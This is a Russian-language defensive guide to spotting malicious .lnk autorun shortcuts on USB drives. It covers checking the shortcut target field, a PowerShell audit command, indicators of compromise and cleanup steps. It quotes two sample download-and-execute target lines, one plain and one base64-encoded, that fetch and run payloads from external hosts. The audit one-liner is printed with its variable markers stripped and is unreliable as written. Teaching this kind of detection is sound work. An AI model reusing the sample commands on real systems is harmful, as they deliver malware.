Как обнаружить вредоносные автозапускники в .lnk-файлах на USB-накопителе

Вы вставили флешку, открыли её — а там вместо папок одни ярлыки. Или файлы вроде бы на месте, но что-то не так: размер подозрительный, двойной клик открывает не то, что ожидали. С высокой вероятностью на накопителе поработал вредонос .lnk-файл — ярлык, который запускает не то, что показывает. Разберёмся, как такие штуки работают, как их выявить без антивируса и что делать, когда нашли.

Почему .lnk — это не просто ярлык

Файлы с расширением .lnk в Windows — это стандартные ярлыки. Обычно они просто указывают на программу или документ. Но внутри .lnk есть поле — целевой путь (target path), — и именно туда злоумышленники вписывают команды PowerShell, cmd, wscript или запуск внешнего файла. При этом визуально ярлык может выглядеть как обычная папка или документ.

Типичная картина: все папки на флешке скрыты, а на их месте лежат .lnk-файлы с такими же иконками. Пользователь кликает «папку» — а выполняется скрипт, который докачивает малварь, а заодно делает настоящую папку скрытой обратно, чтобы вы ничего не заподозрили.

Быстрый осмотр: что видно невооружённым взглядом

Прежде чем лезть в консоль, откройте флешку и посмотрите на несколько признаков:

  • Все файлы на флешке — ярлыки, хотя раньше там были обычные папки и документы.
  • У файлов одинаковый размер (часто 1–5 КБ), хотя по логике они должны быть разными.
  • Расширение .lnk видно, хотя у вас включено скрытие известных расширений — значит, кто намеренно дописал .lnk к имени.
  • Иконка ярлыка скопирована со значком папки или Word-документа — это попытка замаскироваться.

Если видите хотя бы два из этих признаков — уже стоит насторожиться. Но бывает и тоньше: один единственный .lnk среди нормальных файлов. Поэтому дальше смотрим глубже.

Как вытащить реальную команду из .lnk

Способ 1: через свойства в проводнике

  1. Откройте флешку в проводнике.
  2. Кликните правой кнопкой по подозрительному ярлыку → «Свойства».
  3. Перейдите на вкладку «Ярлык».
  4. Посмотрите в поле «Объект» (Target).

Нормальный ярлык указывает путь к программе или файлу, например:

C:\Windows\notepad.exe

Вредоносный может выглядеть так:

cmd /c powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://185.220.101.34/payload.exe -OutFile %TEMP%\payload.exe; Start-Process %TEMP%\payload.exe"

Или вариант покороче:

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBzAGkAdABlAC8AbQBhAGwALgBzAGkAYwAnACkA

Это base64-кодированная команда. Если видите конструкции вроде -enc, -WindowStyle Hidden, cmd /c, powershell, wscript, mshta, rundll32 — перед вами автозапускник.

Способ 2: через командную строку (быстрее для массовой проверки)

Если подозрительных файлов много, проверять каждый через GUI — долго. Откройте командную строку в корне флешки и выполните:

dir /s /b *.lnk > D:\lnk_list.txt

Потом открывайте файл lnk_list.txt и просматривайте список. Но ещё удобнее PowerShell — он умеет читать свойства .lnk напрямую:

shell = New-Object -ComObject WScript.Shell; Get-ChildItem X: -Filter *.lnk -Recurse | ForEach-Objectshortcut = shell.CreateShortcut(_.FullName); [PSCustomObject]@{ Name = _.Name; Target =shortcut.TargetPath; Arguments = shortcut.Arguments; WorkingDir =shortcut.WorkingDirectory } } | Format-Table -AutoSize

Замените X: на букву вашей флешки. Вы получите таблицу: имя ярлыка → реальная цель → аргументы. Всё подозрительное сразу бросится в глаза.

Способ 3: через сторонние утилиты

Если не хочется писать команды, используйте готовые инструменты:

  • LNK Parser — бесплатная утилита, показывает внутреннюю структуру .lnk без запуска.
  • lnk-analyzer из набора KAPE — для тех, кто знаком с цифровой криминалистикой.
  • Shortcut Scanner — автоматически проверяет все ярлыки на съёмных носителях и отмечает подозрительные.

На что обращать внимание в содержимом

Когда вытащили команду из ярлыка, оцените её по этим критериям:

  • Скрытый запуск: -WindowStyle Hidden, -NoProfile, -ExecutionPolicy Bypass — всё это признаки того, что злоумышленник не хотел показывать окно.
  • Скачивание из интернета: Invoke-WebRequest, wget, curl, bitsadmin — логика понятна: основная малварь тянется с сервера, а на флешке только загрузчик.
  • Запись в автозагрузку: упоминания HKCU\Software\Microsoft\Windows\CurrentVersion\Run, папки Startup, создание задач через schtasks.
  • Манипуляции с атрибутами: команды attrib +h — скрывают настоящие папки, чтобы пользователь кликал по поддельным ярлыкам.
  • Base64 и обфускация: длинные строки в base64 после -enc — почти гарантированный признак вредоносного кода.

Сравнение методов обнаружения

Метод Скорость Навык Что находит
Свойства в проводнике Медленно Минимальный Очевидные подмены в поле «Объект»
PowerShell-скрипт Быстро Средний Все .lnk на носителе с полным содержимым
Специализированные утилиты Быстро Минимальный Подозрительные ярлыки по эвристике
Антивирус с актуальными базами Быстро Минимальный Известные сигнатуры, но может пропустить новые варианты

Сценарии: что делать в зависимости от ситуации

Ситуация 1: нашли один подозрительный .lnk на своей флешке

Не запускайте его. Откройте свойства, скопируйте содержимое поля «Объект». Если видите вредоносную команду — удалите файл. Затем проверьте остальные файлы на флешке через PowerShell-скрипт выше, чтобы убедиться, что этот ярлык был единственным.

Ситуация 2: вся флешка заполнена ярлыками

Скорее всего, настоящие файлы скрыты. Включите отображение скрытых файлов: Проводник → Вид → Показать или скрыть → Скрытые элементы. Если папки появились, но выглядят полупрозрачными — снимите атрибут «скрытый» через attrib -h -s /s /d X:\*.*. После этого удалите все .lnk-файлы и проверьте компьютер, на котором открывали флешку, антивирусом.

Ситуация 3: флешка принесена коллеге, и вы не знаете, что на ней

Не вставляйте её в рабочий компьютер. Если нужно проверить — используйте изолированную среду: виртуальную машину без сетевого доступа или Live-CD с Linux. В Linux .lnk не выполняются автоматически, и вы спокойно посмотрите содержимое через lnkinfo или просто откроете файл текстовым редактором.

Частые ошибки при обнаружении и очистке

Ошибка 1: Удалить .lnk и успокоиться. Если малварь уже успела выполниться, она осталась на компьютере. Нужно проверить систему полностью, а не только флешку.

Ошибка 2: Кликнуть по ярлыку «просто посмотреть». Одного клика достаточно для запуска цепочки заражения. Даже открытие свойств безопаснее, чем двойной клик.

Ошибка 3: Считать, что Mac или Linux защищены полностью. Сам .lnk не запустится, но если на флешке лежит и исполняемый файл для другой ОС, он может сработать при открытии в соответствующей системе.

Ошибка 4: Форматировать флешку без анализа. Иногда полезно сохранить вредоносный .lnk и отдать его специалистам — по нему можно восстановть адрес командного сервера и понять, что именно было нацелено на вас.

Как лучше сделать: практические рекомендации

  1. Всегда смотрите расширения файлов. Включите в проводнике отображение расширений: Вид → Показать или скрыть → Расширения имён файлов. Тогда подделка вроде Документ.docx.lnk будет видна сразу.
  2. Не открывайте съёмные носители двойным кликом. Используйте правый клик → Открыть или навигацию через адресную строку — это предотвращает автозапуск через autorun.inf.
  3. Держите на рабочем столе PowerShell-скрипт быстрой проверки. Сохраните команду из раздела выше как .ps1-файл и запускайте при подозрении — это быстрее, чем копаться в свойствах каждого файла.
  4. Используйте антивирус с защитой съёмных носителей. Большинство современных продуктов предлагают автоматическую проверку USB при подключении — не отключайте эту функцию.
  5. Если нашли вредоносный .lnk — проверьте все компьютеры, на которых использовали флешку. Малварь могла распространиться.

Итог

Вредоносные .lnk-файлы на USB-накопителях — это не теория, а реальный вектор атак, который регулярно встречается. Главное правило: не доверяйте ярлыкам на чужих флешках. Включите отображение расширений, проверяйте поле «Объект» в свойствах, а при массовом подозрении используйте PowerShell для быстрого аудита всех .lnk на носителе. Если нашли подозрительное — не запускайте, удалите и проверьте компьютер. Одна минута проверки через консоль может сэкономить часы переустановки системы потом.

Оцените статью
PEFile — Безопасность и технологии простым языком